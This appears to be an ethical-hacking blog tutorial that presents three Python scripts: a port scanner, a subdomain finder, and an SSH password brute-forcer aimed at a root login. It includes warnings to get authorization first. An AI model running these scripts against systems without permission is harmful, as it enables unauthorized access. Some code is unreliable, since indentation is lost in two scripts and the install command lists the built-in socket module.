Skip to content
-
Learn Cybersecurity & Ethical Hacking in Nepal with CyberSamir — Start Learning →
Cyber Samir Cyber Samir Cyber Samir

Learn Cybersecurity, Ethical Hacking & Bug Bounty in Nepal

Cyber Samir Cyber Samir Cyber Samir

Learn Cybersecurity, Ethical Hacking & Bug Bounty in Nepal

  • Home
  • About Us
  • Blogs
    • Ethical Hacking
    • Cybersecurity
    • Penetration testing
  • Tools
    • Phishing email Detector tool
    • Website Security Checker Tool
    • Age|Face Shape|Expression Guess
    • Text Cleaner Tool
    • Image Converter & Resizer Tool (Free Online)
  • Contact Us
  • Home
  • About Us
  • Blogs
    • Ethical Hacking
    • Cybersecurity
    • Penetration testing
  • Tools
    • Phishing email Detector tool
    • Website Security Checker Tool
    • Age|Face Shape|Expression Guess
    • Text Cleaner Tool
    • Image Converter & Resizer Tool (Free Online)
  • Contact Us
Close

Search

Subscribe
  • Facebook
  • Telegram
  • Instagram
  • Youtube
  • Linkedin
  • Whasapp
Cyber Samir Cyber Samir Cyber Samir

Learn Cybersecurity, Ethical Hacking & Bug Bounty in Nepal

Cyber Samir Cyber Samir Cyber Samir

Learn Cybersecurity, Ethical Hacking & Bug Bounty in Nepal

  • Home
  • About Us
  • Blogs
    • Ethical Hacking
    • Cybersecurity
    • Penetration testing
  • Tools
    • Phishing email Detector tool
    • Website Security Checker Tool
    • Age|Face Shape|Expression Guess
    • Text Cleaner Tool
    • Image Converter & Resizer Tool (Free Online)
  • Contact Us
  • Home
  • About Us
  • Blogs
    • Ethical Hacking
    • Cybersecurity
    • Penetration testing
  • Tools
    • Phishing email Detector tool
    • Website Security Checker Tool
    • Age|Face Shape|Expression Guess
    • Text Cleaner Tool
    • Image Converter & Resizer Tool (Free Online)
  • Contact Us
Close

Search

Subscribe
  • Facebook
  • Telegram
  • Instagram
  • Youtube
  • Linkedin
  • Whasapp
Ethical Hacking

Ethical Hacking with Python – Penetration Testing Scripts.

By cybersamir
February 2, 2025 3 Min Read
Comments Off on Ethical Hacking with Python – Penetration Testing Scripts.

Are you interested in ethical hacking with Python? Want to learn how penetration testers use Python to identify security vulnerabilities? In this guide, we will cover three powerful yet simple Python scripts used in cybersecurity, including:

✅ Python Port Scanner (Network Security)
✅ Subdomain Finder (Information Gathering)
✅ SSH Password Bruteforce Attack (Password Security Testing)

By the end of this post, you’ll be able to write penetration testing scripts and understand how ethical hackers assess system security. Let’s dive in! 🔥

🔹 Why Use Python for Ethical Hacking?

Python is one of the most popular programming languages for penetration testing due to its:

✅ Easy syntax – Beginners can quickly write hacking scripts.
✅ Powerful libraries – Python offers hacking tools like socket, requests, scapy, and nmap.
✅ Automation capability – Helps automate network scanning, web scraping, and brute-force attacks.

Let’s set up our ethical hacking environment and start coding! 💻

🔹 Setting Up Python for Penetration Testing

Before we write hacking scripts, install the required Python libraries:

pip install requests scapy socket paramiko nmap

These libraries allow us to perform network scanning, subdomain enumeration, and password brute-forcing.

1️⃣ Python Port Scanner – Scan Open Ports

A port scanner helps ethical hackers find open ports on a target machine. Open ports may indicate security vulnerabilities that hackers can exploit.

📝 Python Script: Port Scanner

import socket

def port_scanner(target, ports):
    print(f"Scanning {target}...")
    for port in ports:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        socket.setdefaulttimeout(1)
        result = s.connect_ex((target, port))
        if result == 0:
            print(f"[+] Port {port} is open")
        s.close()

target_ip = "example.com"  # Replace with target IP or domain
ports = [21, 22, 80, 443, 3306]
port_scanner(target_ip, ports)

📌 How It Works:

🔹 Uses Python’s socket module to check if ports are open.
🔹 Scans ports like 21 (FTP), 22 (SSH), 80 (HTTP), 443 (HTTPS), 3306 (MySQL).
🔹 Helps penetration testers find security risks in networks.

📌 Important: Always have permission before scanning a target! 🚨

2️⃣ Python Subdomain Finder – Find Hidden Subdomains

Subdomains can reveal admin panels, test servers, or hidden areas of a website that are vulnerable to attacks.

📝 Python Script: Subdomain Finder

import requests

def subdomain_finder(domain, wordlist):
for sub in wordlist:
url = f"http://{sub}.{domain}"
try:
requests.get(url)
print(f"[+] Found: {url}")
except requests.ConnectionError:
pass

subdomains = ["test", "mail", "dev", "blog"]
subdomain_finder("example.com", subdomains)

📌 How It Works:

🔹 Uses Python’s requests module to find active subdomains.
🔹 Checks if a subdomain exists by sending HTTP requests.
🔹 Helps bug bounty hunters discover vulnerable subdomains.

🔥 Pro Tip: Use a bigger wordlist for advanced testing!

3️⃣ Python SSH Bruteforce Attack – Testing Weak Passwords

SSH is a common way to remotely access servers. Weak passwords can allow hackers to brute-force login credentials and gain unauthorized access.

📝 Python Script: SSH Bruteforce Attack

import paramiko

def ssh_bruteforce(target, username, passwords):
for password in passwords:
try:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(target, username=username, password=password)
print(f"[+] Password found: {password}")
return
except:
print(f"[-] Failed: {password}")

passwords = ["admin", "1234", "password", "root"]
ssh_bruteforce("192.168.1.10", "root", passwords)

📌 How It Works:

🔹 Uses paramiko, a Python SSH client, to attempt logins.
🔹 Tries multiple passwords to find weak credentials.
🔹 Helps ethical hackers identify vulnerable SSH servers.

⚠️ Warning: NEVER use this script on unauthorized systems! Bruteforcing is illegal without permission. 🚨

🔹 Ethical Hacking with Python: Key Takeaway

🔹 Python is a powerful language for penetration testing and cybersecurity.
🔹 We built three hacking scripts:
✅ Port Scanner (Find open ports)
✅ Subdomain Finder (Find hidden domains)
✅ SSH Bruteforce Attack (Test weak passwords)
🔹 Always test on authorized systems only.

📌 Want More?
💡 Interested in learning advanced ethical hacking with Python? Comment below & subscribe for more tutorials! 🚀

👉 Visit blog.cybersamir.com/ for more cybersecurity tutorials.

🔥 Follow us for Ethical Hacking Tips!

Author

cybersamir

Follow Me
Other Articles
Previous

Fixing Errors That Occur When Parrot Os Setup On Virtual Box

Next

Best Laptops of 2025 – Top Picks for Every Need

Your ad here

300 x 250 banner slot

Reach Nepali students, developers, and security learners reading about ethical hacking, CTFs, and cyber news.

Book on WhatsApp Or send an email

Sponsors: VPNs, courses, hosting, security tools

Recent Posts

  • How to Recover Money from Online Scam Nepal: 2026 Guide
  • How to Check If Your Data Was Leaked (Nepal 2026 Guide)
  • Is PHP Dead? A 2026 Reckoning
  • Nepal Cyber Shield CTF: Top 10 Teams Qualified for the Grand Finale
  • How to Report Cybercrime in Nepal: Step-by-Step Guide (2026)

Nepal Cyber Shield 2026

Been scammed or hacked?

Act fast: save screenshots, don't delete chats, and report it.

  • 100 Nepal Police emergency line
  • +9779851286770 Nepal Police Cyber Bureau
Report here (Nepal Police) Read the step-by-step reporting guide

Money lost? Call your bank first so they can try to freeze the transfer.

Categories

  • Awareness
  • Blog
  • Career & Learning
  • Cybersecurity
  • Ethical Hacking
  • Nepal Tech & Digital Safety
  • News
  • Penetration testing
  • Tools & Reviews

Latest security alerts

  • Hackers Flood Hugging Face and GitHub With 5,000+ Fake Game Cheat Malware Lures
  • 3 Winning Moves to Grow MSSP Profits and Keep SOC Costs Under Control
  • ARTEX AI Hacking Tool Used by Cybercriminals Can Be Hacked by Its Own Targets
  • New Protopterus Windows Spyware Found Targeting Families of Azerbaijani Political Prisoners
  • USB2Shell Linux Kernel Flaw Lets Malicious USB Devices Gain Root Access Without Login
An error has occurred, which probably means the feed is down. Try again later.

You May Have Missed

how to recover money from online scam Nepal
Awareness

How to Recover Money from Online Scam Nepal: 2026 Guide

cybersamir
By cybersamir
November 28, 2026
data leak check nepal
Awareness

How to Check If Your Data Was Leaked (Nepal 2026 Guide)

cybersamir
By cybersamir
November 26, 2026
Cinematic PHP programming thumbnail with the headline “Is PHP Dead? 2026 Reckoning,” a glowing blue PHP elephant, and CyberSamir branding.
Awareness

Is PHP Dead? A 2026 Reckoning

cybersamir
By cybersamir
October 25, 2026
ctf top 10 selected teams
News

Nepal Cyber Shield CTF: Top 10 Teams Qualified for the Grand Finale

cybersamir
By cybersamir
October 4, 2026
How to report cybercrime in Nepal Cyber Bureau complaint guide
Awareness

How to Report Cybercrime in Nepal: Step-by-Step Guide (2026)

cybersamir
By cybersamir
September 27, 2026
Nepal Data Breach: 462,600 Citizens' IDs Allegedly Leaked," subtext "Dark web forum post claims mass PII theft from a .gov.np portal
News

Nepal Government Portal Allegedly Breached: 462,600 Citizens’ Data Reportedly Listed for Sale on Dark Web

cybersamir
By cybersamir
September 24, 2026
Cybersecurity

Top 10 Security Mistakes Nepali Websites Still Make in 2026

cybersamir
By cybersamir
September 23, 2026
News Cybersecurity

Nepal Data Hub Ransomware Attack: NEPSE Shutdown Explained

cybersamir
By cybersamir
September 23, 2026
News

Nepal Cyber Shield 2026: Everything You Need to Know About Nepal’s National CTF Championship

cybersamir
By cybersamir
September 19, 2026
CS

CYBERSAMIR

Explore. Hack. Secure. Learn.

About Us

CyberSamir provides cutting-edge insights into ethical hacking, penetration testing, and cybersecurity defense strategies for professionals and enthusiasts alike.

500+ Articles
15K+ Members
30+ Tools

Resources

  • Tutorials
  • Our Services
  • Tools
  • CTF Walkthroughs
  • Security News

Community

  • WhatsApp Group
  • Discord Server
  • Telegram Group
  • Upcoming Events
  • Certifications

Follow Us

Cyber Security Events Worldwide

© CyberSamir. All Rights Reserved.

Copyright 2026 — Cyber Samir. All rights reserved. Blogsy WordPress Theme